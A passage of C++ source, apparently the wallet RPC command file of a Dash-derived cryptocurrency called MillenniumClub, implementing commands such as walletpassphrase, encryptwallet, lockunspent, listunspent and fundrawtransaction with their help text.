JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid or non-wallet transaction id"); if (!pwalletMain->AbandonTransaction(hash)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Transaction not eligible for abandonment"); return NullUniValue; } UniValue backupwallet(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "backupwallet \"destination\"\n" "\nSafely copies current wallet file to destination, which can be a directory or a path with filename.\n" "\nArguments:\n" "1. \"destination\" (string) The destination directory or file\n" "\nExamples:\n" + HelpExampleCli("backupwallet", "\"backup.dat\"") + HelpExampleRpc("backupwallet", "\"backup.dat\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); std::string strDest = request.params[0].get_str(); if (!pwalletMain->BackupWallet(strDest)) throw JSONRPCError(RPC_WALLET_ERROR, "Error: Wallet backup failed!"); return NullUniValue; } UniValue keypoolrefill(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 1) throw std::runtime_error( "keypoolrefill ( newsize )\n" "\nFills the keypool." + HelpRequiringPassphrase() + "\n" "\nArguments:\n" "1. newsize (numeric, optional, default=" + itostr(DEFAULT_KEYPOOL_SIZE) + ") The new keypool size\n" "\nExamples:\n" + HelpExampleCli("keypoolrefill", "") + HelpExampleRpc("keypoolrefill", "") ); LOCK2(cs_main, pwalletMain->cs_wallet); // 0 is interpreted by TopUpKeyPool() as the default keypool size given by -keypool unsigned int kpSize = 0; if (request.params.size() > 0) { if (request.params[0].get_int() < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, expected valid size."); kpSize = (unsigned int)request.params[0].get_int(); } EnsureWalletIsUnlocked(); pwalletMain->TopUpKeyPool(kpSize); if (pwalletMain->GetKeyPoolSize() < (pwalletMain->IsHDEnabled() ? kpSize * 2 : kpSize)) throw JSONRPCError(RPC_WALLET_ERROR, "Error refreshing keypool."); return NullUniValue; } static void LockWallet(CWallet* pWallet) { LOCK(cs_nWalletUnlockTime); nWalletUnlockTime = 0; pWallet->Lock(); } UniValue walletpassphrase(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (pwalletMain->IsCrypted() && (request.fHelp || request.params.size() < 2 || request.params.size() > 3)) throw std::runtime_error( "walletpassphrase \"passphrase\" timeout ( mixingonly )\n" "\nStores the wallet decryption key in memory for 'timeout' seconds.\n" "This is needed prior to performing transactions related to private keys such as sending millenniumclubs\n" "\nArguments:\n" "1. \"passphrase\" (string, required) The wallet passphrase\n" "2. timeout (numeric, required) The time to keep the decryption key in seconds.\n" "3. mixingonly (boolean, optional, default=false) If is true sending functions are disabled.\n" "\nNote:\n" "Issuing the walletpassphrase command while the wallet is already unlocked will set a new unlock\n" "time that overrides the old one.\n" "\nExamples:\n" "\nUnlock the wallet for 60 seconds\n" + HelpExampleCli("walletpassphrase", "\"my pass phrase\" 60") + "\nUnlock the wallet for 60 seconds but allow PrivateSend mixing only\n" + HelpExampleCli("walletpassphrase", "\"my pass phrase\" 60 true") + "\nLock the wallet again (before 60 seconds)\n" + HelpExampleCli("walletlock", "") + "\nAs json rpc call\n" + HelpExampleRpc("walletpassphrase", "\"my pass phrase\", 60") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (request.fHelp) return true; if (!pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletpassphrase was called."); // Note that the walletpassphrase is stored in request.params[0] which is not mlock()ed SecureString strWalletPass; strWalletPass.reserve(100); // TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string) // Alternately, find a way to make request.params[0] mlock()'d to begin with. strWalletPass = request.params[0].get_str().c_str(); int64_t nSleepTime = request.params[1].get_int64(); bool fForMixingOnly = false; if (request.params.size() >= 3) fForMixingOnly = request.params[2].get_bool(); if (fForMixingOnly && !pwalletMain->IsLocked(true) && pwalletMain->IsLocked()) throw JSONRPCError(RPC_WALLET_ALREADY_UNLOCKED, "Error: Wallet is already unlocked for mixing only."); if (!pwalletMain->IsLocked()) throw JSONRPCError(RPC_WALLET_ALREADY_UNLOCKED, "Error: Wallet is already fully unlocked."); if (!pwalletMain->Unlock(strWalletPass, fForMixingOnly)) throw JSONRPCError(RPC_WALLET_PASSPHRASE_INCORRECT, "Error: The wallet passphrase entered was incorrect."); pwalletMain->TopUpKeyPool(); LOCK(cs_nWalletUnlockTime); nWalletUnlockTime = GetTime() + nSleepTime; RPCRunLater("lockwallet", boost::bind(LockWallet, pwalletMain), nSleepTime); return NullUniValue; } UniValue walletpassphrasechange(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (pwalletMain->IsCrypted() && (request.fHelp || request.params.size() != 2)) throw std::runtime_error( "walletpassphrasechange \"oldpassphrase\" \"newpassphrase\"\n" "\nChanges the wallet passphrase from 'oldpassphrase' to 'newpassphrase'.\n" "\nArguments:\n" "1. \"oldpassphrase\" (string) The current passphrase\n" "2. \"newpassphrase\" (string) The new passphrase\n" "\nExamples:\n" + HelpExampleCli("walletpassphrasechange", "\"old one\" \"new one\"") + HelpExampleRpc("walletpassphrasechange", "\"old one\", \"new one\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (request.fHelp) return true; if (!pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletpassphrasechange was called."); // TODO: get rid of these .c_str() calls by implementing SecureString::operator=(std::string) // Alternately, find a way to make request.params[0] mlock()'d to begin with. SecureString strOldWalletPass; strOldWalletPass.reserve(100); strOldWalletPass = request.params[0].get_str().c_str(); SecureString strNewWalletPass; strNewWalletPass.reserve(100); strNewWalletPass = request.params[1].get_str().c_str(); if (strOldWalletPass.length() < 1 || strNewWalletPass.length() < 1) throw std::runtime_error( "walletpassphrasechange <oldpassphrase> <newpassphrase>\n" "Changes the wallet passphrase from <oldpassphrase> to <newpassphrase>."); if (!pwalletMain->ChangeWalletPassphrase(strOldWalletPass, strNewWalletPass)) throw JSONRPCError(RPC_WALLET_PASSPHRASE_INCORRECT, "Error: The wallet passphrase entered was incorrect."); return NullUniValue; } UniValue walletlock(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (pwalletMain->IsCrypted() && (request.fHelp || request.params.size() != 0)) throw std::runtime_error( "walletlock\n" "\nRemoves the wallet encryption key from memory, locking the wallet.\n" "After calling this method, you will need to call walletpassphrase again\n" "before being able to call any methods which require the wallet to be unlocked.\n" "\nExamples:\n" "\nSet the passphrase for 2 minutes to perform a transaction\n" + HelpExampleCli("walletpassphrase", "\"my pass phrase\" 120") + "\nPerform a send (requires passphrase set)\n" + HelpExampleCli("sendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 1.0") + "\nClear the passphrase since we are done before 2 minutes is up\n" + HelpExampleCli("walletlock", "") + "\nAs json rpc call\n" + HelpExampleRpc("walletlock", "") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (request.fHelp) return true; if (!pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletlock was called."); { LOCK(cs_nWalletUnlockTime); pwalletMain->Lock(); nWalletUnlockTime = 0; } return NullUniValue; } UniValue encryptwallet(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (!pwalletMain->IsCrypted() && (request.fHelp || request.params.size() != 1)) throw std::runtime_error( "encryptwallet \"passphrase\"\n" "\nEncrypts the wallet with 'passphrase'. This is for first time encryption.\n" "After this, any calls that interact with private keys such as sending or signing \n" "will require the passphrase to be set prior the making these calls.\n" "Use the walletpassphrase call for this, and then walletlock call.\n" "If the wallet is already encrypted, use the walletpassphrasechange call.\n" "Note that this will shutdown the server.\n" "\nArguments:\n" "1. \"passphrase\" (string) The pass phrase to encrypt the wallet with. It must be at least 1 character, but should be long.\n" "\nExamples:\n" "\nEncrypt you wallet\n" + HelpExampleCli("encryptwallet", "\"my pass phrase\"") + "\nNow set the passphrase to use the wallet, such as for signing or sending millenniumclub\n" + HelpExampleCli("walletpassphrase", "\"my pass phrase\"") + "\nNow we can so something like sign\n" + HelpExampleCli("signmessage", "\"address\" \"test message\"") + "\nNow lock the wallet again by removing the passphrase\n" + HelpExampleCli("walletlock", "") + "\nAs a json rpc call\n" + HelpExampleRpc("encryptwallet", "\"my pass phrase\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (request.fHelp) return true; if (pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an encrypted wallet, but encryptwallet was called."); // TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string) // Alternately, find a way to make request.params[0] mlock()'d to begin with. SecureString strWalletPass; strWalletPass.reserve(100); strWalletPass = request.params[0].get_str().c_str(); if (strWalletPass.length() < 1) throw std::runtime_error( "encryptwallet <passphrase>\n" "Encrypts the wallet with <passphrase>."); if (!pwalletMain->EncryptWallet(strWalletPass)) throw JSONRPCError(RPC_WALLET_ENCRYPTION_FAILED, "Error: Failed to encrypt the wallet."); // BDB seems to have a bad habit of writing old data into // slack space in .dat files; that is bad if the old data is // unencrypted private keys. So: StartShutdown(); return "Wallet encrypted; MillenniumClub Core server stopping, restart to run with encrypted wallet. The keypool has been flushed and a new HD seed was generated (if you are using HD). You need to make a new backup."; } UniValue lockunspent(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 1 || request.params.size() > 2) throw std::runtime_error( "lockunspent unlock ([{\"txid\":\"txid\",\"vout\":n},...])\n" "\nUpdates list of temporarily unspendable outputs.\n" "Temporarily lock (unlock=false) or unlock (unlock=true) specified transaction outputs.\n" "If no transaction outputs are specified when unlocking then all current locked transaction outputs are unlocked.\n" "A locked transaction output will not be chosen by automatic coin selection, when spending millenniumclubs.\n" "Locks are stored in memory only. Nodes start with zero locked outputs, and the locked output list\n" "is always cleared (by virtue of process exit) when a node stops or fails.\n" "Also see the listunspent call\n" "\nArguments:\n" "1. unlock (boolean, required) Whether to unlock (true) or lock (false) the specified transactions\n" "2. \"transactions\" (string, optional) A json array of objects. Each object the txid (string) vout (numeric)\n" " [ (json array of json objects)\n" " {\n" " \"txid\":\"id\", (string) The transaction id\n" " \"vout\": n (numeric) The output number\n" " }\n" " ,...\n" " ]\n" "\nResult:\n" "true|false (boolean) Whether the command was successful or not\n" "\nExamples:\n" "\nList the unspent transactions\n" + HelpExampleCli("listunspent", "") + "\nLock an unspent transaction\n" + HelpExampleCli("lockunspent", "false \"[{\\\"txid\\\":\\\"a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\\\",\\\"vout\\\":1}]\"") + "\nList the locked transactions\n" + HelpExampleCli("listlockunspent", "") + "\nUnlock the transaction again\n" + HelpExampleCli("lockunspent", "true \"[{\\\"txid\\\":\\\"a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\\\",\\\"vout\\\":1}]\"") + "\nAs a json rpc call\n" + HelpExampleRpc("lockunspent", "false, \"[{\\\"txid\\\":\\\"a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\\\",\\\"vout\\\":1}]\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (request.params.size() == 1) RPCTypeCheck(request.params, boost::assign::list_of(UniValue::VBOOL)); else RPCTypeCheck(request.params, boost::assign::list_of(UniValue::VBOOL)(UniValue::VARR)); bool fUnlock = request.params[0].get_bool(); if (request.params.size() == 1) { if (fUnlock) pwalletMain->UnlockAllCoins(); return true; } UniValue outputs = request.params[1].get_array(); for (unsigned int idx = 0; idx < outputs.size(); idx++) { const UniValue& output = outputs[idx]; if (!output.isObject()) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, expected object"); const UniValue& o = output.get_obj(); RPCTypeCheckObj(o, { {"txid", UniValueType(UniValue::VSTR)}, {"vout", UniValueType(UniValue::VNUM)}, }); std::string txid = find_value(o, "txid").get_str(); if (!IsHex(txid)) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, expected hex txid"); int nOutput = find_value(o, "vout").get_int(); if (nOutput < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter, vout must be positive"); COutPoint outpt(uint256S(txid), nOutput); if (fUnlock) pwalletMain->UnlockCoin(outpt); else pwalletMain->LockCoin(outpt); } return true; } UniValue listlockunspent(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 0) throw std::runtime_error( "listlockunspent\n" "\nReturns list of temporarily unspendable outputs.\n" "See the lockunspent call to lock and unlock transactions for spending.\n" "\nResult:\n" "[\n" " {\n" " \"txid\" : \"transactionid\", (string) The transaction id locked\n" " \"vout\" : n (numeric) The vout value\n" " }\n" " ,...\n" "]\n" "\nExamples:\n" "\nList the unspent transactions\n" + HelpExampleCli("listunspent", "") + "\nLock an unspent transaction\n" + HelpExampleCli("lockunspent", "false \"[{\\\"txid\\\":\\\"a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\\\",\\\"vout\\\":1}]\"") + "\nList the locked transactions\n" + HelpExampleCli("listlockunspent", "") + "\nUnlock the transaction again\n" + HelpExampleCli("lockunspent", "true \"[{\\\"txid\\\":\\\"a08e6907dbbd3d809776dbfc5d82e371b764ed838b5655e72f463568df1aadf0\\\",\\\"vout\\\":1}]\"") + "\nAs a json rpc call\n" + HelpExampleRpc("listlockunspent", "") ); LOCK2(cs_main, pwalletMain->cs_wallet); std::vector<COutPoint> vOutpts; pwalletMain->ListLockedCoins(vOutpts); UniValue ret(UniValue::VARR); BOOST_FOREACH(COutPoint &outpt, vOutpts) { UniValue o(UniValue::VOBJ); o.push_back(Pair("txid", outpt.hash.GetHex())); o.push_back(Pair("vout", (int)outpt.n)); ret.push_back(o); } return ret; } UniValue settxfee(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 1 || request.params.size() > 1) throw std::runtime_error( "settxfee amount\n" "\nSet the transaction fee per kB. Overwrites the paytxfee parameter.\n" "\nArguments:\n" "1. amount (numeric or string, required) The transaction fee in " + CURRENCY_UNIT + "/kB\n" "\nResult:\n" "true|false (boolean) Returns true if successful\n" "\nExamples:\n" + HelpExampleCli("settxfee", "0.00001") + HelpExampleRpc("settxfee", "0.00001") ); LOCK2(cs_main, pwalletMain->cs_wallet); // Amount CAmount nAmount = AmountFromValue(request.params[0]); payTxFee = CFeeRate(nAmount, 1000); return true; } UniValue getwalletinfo(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 0) throw std::runtime_error( "getwalletinfo\n" "Returns an object containing various wallet state info.\n" "\nResult:\n" "{\n" " \"walletversion\": xxxxx, (numeric) the wallet version\n" " \"balance\": xxxxxxx, (numeric) the total confirmed balance of the wallet in " + CURRENCY_UNIT + "\n" + (!fLiteMode ? " \"privatesend_balance\": xxxxxx, (numeric) the anonymized millenniumclub balance of the wallet in " + CURRENCY_UNIT + "\n" : "") + " \"unconfirmed_balance\": xxx, (numeric) the total unconfirmed balance of the wallet in " + CURRENCY_UNIT + "\n" " \"immature_balance\": xxxxxx, (numeric) the total immature balance of the wallet in " + CURRENCY_UNIT + "\n" " \"txcount\": xxxxxxx, (numeric) the total number of transactions in the wallet\n" " \"keypoololdest\": xxxxxx, (numeric) the timestamp (seconds since Unix epoch) of the oldest pre-generated key in the key pool\n" " \"keypoolsize\": xxxx, (numeric) how many new keys are pre-generated (only counts external keys)\n" " \"keypoolsize_hd_internal\": xxxx, (numeric) how many new keys are pre-generated for internal use (used for change outputs, only appears if the wallet is using this feature, otherwise external keys are used)\n" " \"keys_left\": xxxx, (numeric) how many new keys are left since last automatic backup\n" " \"unlocked_until\": ttt, (numeric) the timestamp in seconds since epoch (midnight Jan 1 1970 GMT) that the wallet is unlocked for transfers, or 0 if the wallet is locked\n" " \"paytxfee\": x.xxxx, (numeric) the transaction fee configuration, set in " + CURRENCY_UNIT + "/kB\n" " \"hdchainid\": \"<hash>\", (string) the ID of the HD chain\n" " \"hdaccountcount\": xxx, (numeric) how many accounts of the HD chain are in this wallet\n" " [\n" " {\n" " \"hdaccountindex\": xxx, (numeric) the index of the account\n" " \"hdexternalkeyindex\": xxxx, (numeric) current external childkey index\n" " \"hdinternalkeyindex\": xxxx, (numeric) current internal childkey index\n" " }\n" " ,...\n" " ]\n" "}\n" "\nExamples:\n" + HelpExampleCli("getwalletinfo", "") + HelpExampleRpc("getwalletinfo", "") ); LOCK2(cs_main, pwalletMain->cs_wallet); CHDChain hdChainCurrent; bool fHDEnabled = pwalletMain->GetHDChain(hdChainCurrent); UniValue obj(UniValue::VOBJ); obj.push_back(Pair("walletversion", pwalletMain->GetVersion())); obj.push_back(Pair("balance", ValueFromAmount(pwalletMain->GetBalance()))); if(!fLiteMode) obj.push_back(Pair("privatesend_balance", ValueFromAmount(pwalletMain->GetAnonymizedBalance()))); obj.push_back(Pair("unconfirmed_balance", ValueFromAmount(pwalletMain->GetUnconfirmedBalance()))); obj.push_back(Pair("immature_balance", ValueFromAmount(pwalletMain->GetImmatureBalance()))); obj.push_back(Pair("txcount", (int)pwalletMain->mapWallet.size())); obj.push_back(Pair("keypoololdest", pwalletMain->GetOldestKeyPoolTime())); obj.push_back(Pair("keypoolsize", (int64_t)pwalletMain->KeypoolCountExternalKeys())); if (fHDEnabled) { obj.push_back(Pair("keypoolsize_hd_internal", (int64_t)(pwalletMain->KeypoolCountInternalKeys()))); } obj.push_back(Pair("keys_left", pwalletMain->nKeysLeftSinceAutoBackup)); if (pwalletMain->IsCrypted()) obj.push_back(Pair("unlocked_until", nWalletUnlockTime)); obj.push_back(Pair("paytxfee", ValueFromAmount(payTxFee.GetFeePerK()))); if (fHDEnabled) { obj.push_back(Pair("hdchainid", hdChainCurrent.GetID().GetHex())); obj.push_back(Pair("hdaccountcount", (int64_t)hdChainCurrent.CountAccounts())); UniValue accounts(UniValue::VARR); for (size_t i = 0; i < hdChainCurrent.CountAccounts(); ++i) { CHDAccount acc; UniValue account(UniValue::VOBJ); account.push_back(Pair("hdaccountindex", (int64_t)i)); if(hdChainCurrent.GetAccount(i, acc)) { account.push_back(Pair("hdexternalkeyindex", (int64_t)acc.nExternalChainCounter)); account.push_back(Pair("hdinternalkeyindex", (int64_t)acc.nInternalChainCounter)); } else { account.push_back(Pair("error", strprintf("account %d is missing", i))); } accounts.push_back(account); } obj.push_back(Pair("hdaccounts", accounts)); } return obj; } UniValue keepass(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; std::string strCommand; if (request.params.size() >= 1) strCommand = request.params[0].get_str(); if (request.fHelp || (strCommand != "genkey" && strCommand != "init" && strCommand != "setpassphrase")) throw std::runtime_error( "keepass <genkey|init|setpassphrase>\n"); if (strCommand == "genkey") { SecureString sResult; // Generate RSA key SecureString sKey = CKeePassIntegrator::generateKeePassKey(); sResult = "Generated Key: "; sResult += sKey; return sResult.c_str(); } else if(strCommand == "init") { // Generate base64 encoded 256 bit RSA key and associate with KeePassHttp SecureString sResult; SecureString sKey; std::string strId; keePassInt.rpcAssociate(strId, sKey); sResult = "Association successful. Id: "; sResult += strId.c_str(); sResult += " - Key: "; sResult += sKey.c_str(); return sResult.c_str(); } else if(strCommand == "setpassphrase") { if(request.params.size() != 2) { return "setlogin: invalid number of parameters. Requires a passphrase"; } SecureString sPassphrase = SecureString(request.params[1].get_str().c_str()); keePassInt.updatePassphrase(sPassphrase); return "setlogin: Updated credentials."; } return "Invalid command"; } UniValue resendwallettransactions(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 0) throw std::runtime_error( "resendwallettransactions\n" "Immediately re-broadcast unconfirmed wallet transactions to all peers.\n" "Intended only for testing; the wallet code periodically re-broadcasts\n" "automatically.\n" "Returns array of transaction ids that were re-broadcast.\n" ); if (!g_connman) throw JSONRPCError(RPC_CLIENT_P2P_DISABLED, "Error: Peer-to-peer functionality missing or disabled"); LOCK2(cs_main, pwalletMain->cs_wallet); std::vector<uint256> txids = pwalletMain->ResendWalletTransactionsBefore(GetTime(), g_connman.get()); UniValue result(UniValue::VARR); BOOST_FOREACH(const uint256& txid, txids) { result.push_back(txid.ToString()); } return result; } UniValue listunspent(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 4) throw std::runtime_error( "listunspent ( minconf maxconf [\"addresses\",...] [include_unsafe] )\n" "\nReturns array of unspent transaction outputs\n" "with between minconf and maxconf (inclusive) confirmations.\n" "Optionally filter to only include txouts paid to specified addresses.\n" "\nArguments:\n" "1. minconf (numeric, optional, default=1) The minimum confirmations to filter\n" "2. maxconf (numeric, optional, default=9999999) The maximum confirmations to filter\n" "3. \"addresses\" (string) A json array of millenniumclub addresses to filter\n" " [\n" " \"address\" (string) millenniumclub address\n" " ,...\n" " ]\n" "4. include_unsafe (bool, optional, default=true) Include outputs that are not safe to spend\n" " because they come from unconfirmed untrusted transactions or unconfirmed\n" " replacement transactions (cases where we are less sure that a conflicting\n" " transaction won't be mined).\n" "\nResult:\n" "[ (array of json object)\n" " {\n" " \"txid\" : \"txid\", (string) the transaction id \n" " \"vout\" : n, (numeric) the vout value\n" " \"address\" : \"address\", (string) the millenniumclub address\n" " \"account\" : \"account\", (string) DEPRECATED. The associated account, or \"\" for the default account\n" " \"scriptPubKey\" : \"key\", (string) the script key\n" " \"amount\" : x.xxx, (numeric) the transaction output amount in " + CURRENCY_UNIT + "\n" " \"confirmations\" : n, (numeric) The number of confirmations\n" " \"redeemScript\" : n (string) The redeemScript if scriptPubKey is P2SH\n" " \"spendable\" : xxx, (bool) Whether we have the private keys to spend this output\n" " \"solvable\" : xxx, (bool) Whether we know how to spend this output, ignoring the lack of keys\n" " \"ps_rounds\" : n (numeric) The number of PS rounds\n" " }\n" " ,...\n" "]\n" "\nExamples:\n" + HelpExampleCli("listunspent", "") + HelpExampleCli("listunspent", "6 9999999 \"[\\\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwg\\\",\\\"XuQQkwA4FYkq2XERzMY2CiAZhJTEDAbtcg\\\"]\"") + HelpExampleRpc("listunspent", "6, 9999999 \"[\\\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwg\\\",\\\"XuQQkwA4FYkq2XERzMY2CiAZhJTEDAbtcg\\\"]\"") ); int nMinDepth = 1; if (request.params.size() > 0 && !request.params[0].isNull()) { RPCTypeCheckArgument(request.params[0], UniValue::VNUM); nMinDepth = request.params[0].get_int(); } int nMaxDepth = 9999999; if (request.params.size() > 1 && !request.params[1].isNull()) { RPCTypeCheckArgument(request.params[1], UniValue::VNUM); nMaxDepth = request.params[1].get_int(); } std::set<CBitcoinAddress> setAddress; if (request.params.size() > 2 && !request.params[2].isNull()) { RPCTypeCheckArgument(request.params[2], UniValue::VARR); UniValue inputs = request.params[2].get_array(); for (unsigned int idx = 0; idx < inputs.size(); idx++) { const UniValue& input = inputs[idx]; CBitcoinAddress address(input.get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, std::string("Invalid MillenniumClub address: ")+input.get_str()); if (setAddress.count(address)) throw JSONRPCError(RPC_INVALID_PARAMETER, std::string("Invalid parameter, duplicated address: ")+input.get_str()); setAddress.insert(address); } } bool include_unsafe = true; if (request.params.size() > 3 && !request.params[3].isNull()) { RPCTypeCheckArgument(request.params[3], UniValue::VBOOL); include_unsafe = request.params[3].get_bool(); } UniValue results(UniValue::VARR); std::vector<COutput> vecOutputs; assert(pwalletMain != NULL); LOCK2(cs_main, pwalletMain->cs_wallet); pwalletMain->AvailableCoins(vecOutputs, !include_unsafe, NULL, true); BOOST_FOREACH(const COutput& out, vecOutputs) { if (out.nDepth < nMinDepth || out.nDepth > nMaxDepth) continue; CTxDestination address; const CScript& scriptPubKey = out.tx->tx->vout[out.i].scriptPubKey; bool fValidAddress = ExtractDestination(scriptPubKey, address); if (setAddress.size() && (!fValidAddress || !setAddress.count(address))) continue; UniValue entry(UniValue::VOBJ); entry.push_back(Pair("txid", out.tx->GetHash().GetHex())); entry.push_back(Pair("vout", out.i)); if (fValidAddress) { entry.push_back(Pair("address", CBitcoinAddress(address).ToString())); if (pwalletMain->mapAddressBook.count(address)) entry.push_back(Pair("account", pwalletMain->mapAddressBook[address].name)); if (scriptPubKey.IsPayToScriptHash()) { const CScriptID& hash = boost::get<CScriptID>(address); CScript redeemScript; if (pwalletMain->GetCScript(hash, redeemScript)) entry.push_back(Pair("redeemScript", HexStr(redeemScript.begin(), redeemScript.end()))); } } entry.push_back(Pair("scriptPubKey", HexStr(scriptPubKey.begin(), scriptPubKey.end()))); entry.push_back(Pair("amount", ValueFromAmount(out.tx->tx->vout[out.i].nValue))); entry.push_back(Pair("confirmations", out.nDepth)); entry.push_back(Pair("spendable", out.fSpendable)); entry.push_back(Pair("solvable", out.fSolvable)); entry.push_back(Pair("ps_rounds", pwalletMain->GetOutpointPrivateSendRounds(COutPoint(out.tx->GetHash(), out.i)))); results.push_back(entry); } return results; } UniValue fundrawtransaction(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 1 || request.params.size() > 2) throw std::runtime_error( "fundrawtransaction \"hexstring\" ( options )\n" "\nAdd inputs to a transaction until it has enough in value to meet its out value.\n" "This will not modify existing inputs, and will add at most one change output to the outputs.\n" "No existing outputs will be modified unless \"subtractFeeFromOutputs\" is specified.\n" "Note that inputs which were signed may need to be resigned after completion since in/outputs have been added.\n" "The inputs added will not be signed, use signrawtransaction for that.\n" "Note that all existing inputs must have their previous output transaction be in the wallet.\n" "Note that all inputs selected must be of standard form and P2SH scripts must be\n" "in the wallet using importaddress or addmultisigaddress (to calculate fees).\n" "You can see whether this is the case by checking the \"solvable\" field in the listunspent output.\n" "Only pay-to-pubkey, multisig, and P2SH versions thereof are currently supported for watch-only\n" "\nArguments:\n" "1. \"hexstring\" (string, required) The hex string of the raw transaction\n" "2. options (object, optional)\n" " {\n" " \"changeAddress\" (string, optional, default pool address) The millenniumclub address to receive the change\n" " \"changePosition\" (numeric, optional, default random) The index of the change output\n" " \"includeWatching\" (boolean, optional, default false) Also select inputs which are watch only\n" " \"lockUnspents\" (boolean, optional, default false) Lock selected unspent outputs\n" " \"reserveChangeKey\" (boolean, optional, default true) Reserves the change output key from the keypool\n" " \"feeRate\" (numeric, optional, default not set: makes wallet determine the fee) Set a specific feerate (" + CURRENCY_UNIT + " per KB)\n" " \"subtractFeeFromOutputs\" (array, optional) A json array of integers.\n" " The fee will be equally deducted from the amount of each specified output.\n" " The outputs are specified by their zero-based index, before any change output is added.\n" " Those recipients will receive less millenniumclub than you enter in their corresponding amount field.\n" " If no outputs are specified here, the sender pays the fee.\n" " [vout_index,...]\n" " }\n" " for backward compatibility: passing in a true instead of an object will result in {\"includeWatching\":true}\n" "\nResult:\n" "{\n" " \"hex\": \"value\", (string) The resulting raw transaction (hex-encoded string)\n" " \"fee\": n, (numeric) Fee in " + CURRENCY_UNIT + " the resulting transaction pays\n" " \"changepos\": n (numeric) The position of the added change output, or -1\n" "}\n" "\nExamples:\n" "\nCreate a transaction with no inputs\n" + HelpExampleCli("createrawtransaction", "\"[]\" \"{\\\"myaddress\\\":0.01}\"") + "\nAdd sufficient unsigned inputs to meet the output value\n" + HelpExampleCli("fundrawtransaction", "\"rawtransactionhex\"") + "\nSign the transaction\n" + HelpExampleCli("signrawtransaction", "\"fundedtransactionhex\"") + "\nSend the transaction\n" + HelpExampleCli("sendrawtransaction", "\"signedtransactionhex\"") ); RPCTypeCheck(request.params, boost::assign::list_of(UniValue::VSTR)); CTxDestination changeAddress = CNoDestination(); int changePosition = -1; bool includeWatching = false; bool lockUnspents = false; bool reserveChangeKey = true; CFeeRate feeRate = CFeeRate(0); bool overrideEstimatedFeerate = false; UniValue subtractFeeFromOutputs; std::set<int> setSubtractFeeFromOutputs; if (request.params.size() > 1) { if (request.params[1].type() == UniValue::VBOOL) { // backward compatibility bool only fallback includeWatching = request.params[1].get_bool(); } else { RPCTypeCheck(request.params, boost::assign::list_of(UniValue::VSTR)(UniValue::VOBJ)); UniValue options = request.params[1]; RPCTypeCheckObj(options, { {"changeAddress", UniValueType(UniValue::VSTR)}, {"changePosition", UniValueType(UniValue::VNUM)}, {"includeWatching", UniValueType(UniValue::VBOOL)}, {"lockUnspents", UniValueType(UniValue::VBOOL)}, {"reserveChangeKey", UniValueType(UniValue::VBOOL)}, {"feeRate", UniValueType()}, // will be checked below {"subtractFeeFromOutputs", UniValueType(UniValue::VARR)}, }, true, true); if (options.exists("changeAddress")) { CBitcoinAddress address(options["changeAddress"].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_PARAMETER, "changeAddress must be a valid millenniumclub address"); changeAddress = address.Get(); } if (options.exists("changePosition")) changePosition = options["changePosition"].get_int(); if (options.exists("includeWatching")) includeWatching = options["includeWatching"].get_bool(); if (options.exists("lockUnspents")) lockUnspents = options["lockUnspents"].get_bool(); if (options.exists("reserveChangeKey")) reserveChangeKey = options["reserveChangeKey"].get_bool(); if 